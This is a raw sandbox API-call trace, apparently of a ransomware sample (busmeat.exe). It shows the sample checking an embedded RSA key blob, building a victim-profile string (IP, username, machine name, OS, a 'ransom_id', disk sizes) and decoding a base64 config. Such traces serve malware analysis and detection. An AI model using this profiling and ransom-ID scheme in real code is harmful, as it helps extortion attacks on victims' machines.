	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.613] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.614] lstrcatW (in: lpString1="", lpString2="action=call&" | out: lpString1="action=call&") returned="action=call&"
	[0084.614] lstrlenW (lpString="action=call&") returned 12
	[0084.614] lstrcatW (in: lpString1="", lpString2="ip" | out: lpString1="ip") returned="ip"
	[0084.614] lstrcatW (in: lpString1="ip", lpString2="=" | out: lpString1="ip=") returned="ip="
	[0084.615] lstrcatW (in: lpString1="ip=", lpString2="87.142.155.213" | out: lpString1="ip=87.142.155.213") returned="ip=87.142.155.213"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213", lpString2="&" | out: lpString1="ip=87.142.155.213&") returned="ip=87.142.155.213&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&", lpString2="pc_user" | out: lpString1="ip=87.142.155.213&pc_user") returned="ip=87.142.155.213&pc_user"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=") returned="ip=87.142.155.213&pc_user="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=", lpString2="SYSTEM" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM") returned="ip=87.142.155.213&pc_user=SYSTEM"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&") returned="ip=87.142.155.213&pc_user=SYSTEM&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&", lpString2="pc_name" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=", lpString2="LHNIWSJ" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&", lpString2="pc_group" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=", lpString2="WORKGROUP" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&", lpString2="pc_lang" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=", lpString2="en-US" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&", lpString2="pc_keyb" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=", lpString2="0" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&", lpString2="os_major" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=", lpString2="Windows 10 Pro" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&", lpString2="os_bit" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit"
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit="
	[0084.615] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=", lpString2="x64" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64"
	[0084.616] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&"
	[0084.616] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x2750000
	[0084.616] wsprintfW (in: param_1=0x2750000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16
	[0084.616] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&", lpString2="ransom_id" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id"
	[0084.616] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id="
	[0084.616] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def"
	[0084.616] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&"
	[0084.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.617] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&", lpString2="hdd" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd"
	[0084.617] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd", lpString2="=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd="
	[0084.617] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=", lpString2="C:FIXED_549227327488/17496797184" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184"
	[0084.617] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184", lpString2="&" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&"
	[0084.617] lstrlenW (lpString="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&") returned 191
	[0084.617] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0084.617] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2750000, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0084.617] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0084.617] GetFileSize (in: hFile=0x2d0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39e09
	[0084.617] VirtualAlloc (lpAddress=0x0, dwSize=0x39e09, flAllocationType=0x3000, flProtect=0x4) returned 0x2fb0000
	[0084.618] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fb0000, nNumberOfBytesToRead=0x39e09, lpNumberOfBytesRead=0x253fe04, lpOverlapped=0x0 | out: lpBuffer=0x2fb0000*, lpNumberOfBytesRead=0x253fe04*=0x39e09, lpOverlapped=0x0) returned 1
	[0084.621] lstrlenA (lpString="MTk7MTk=") returned 8
	[0084.621] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000
	[0084.622] CryptStringToBinaryA (in: pszString="MTk7MTk=", cchString=0x0, dwFlags=0x1, pbBinary=0x2ff0000, pcbBinary=0x253fde8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2ff0000, pcbBinary=0x253fde8, pdwSkip=0x0, pdwFlags=0x0) returned 1
	[0084.622] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000
	[0084.622] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0084.622] wsprintfW (in: param_1=0x3000000, param_2="%S" | out: param_1="19") returned 2
	[0084.623] wsprintfW (in: param_1=0x3010000, param_2="%S" | out: param_1="19") returned 2
	[0084.623] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.623] VirtualFree (lpAddress=0x2fb0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.624] CloseHandle (hObject=0x2d0) returned 1
	[0084.624] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
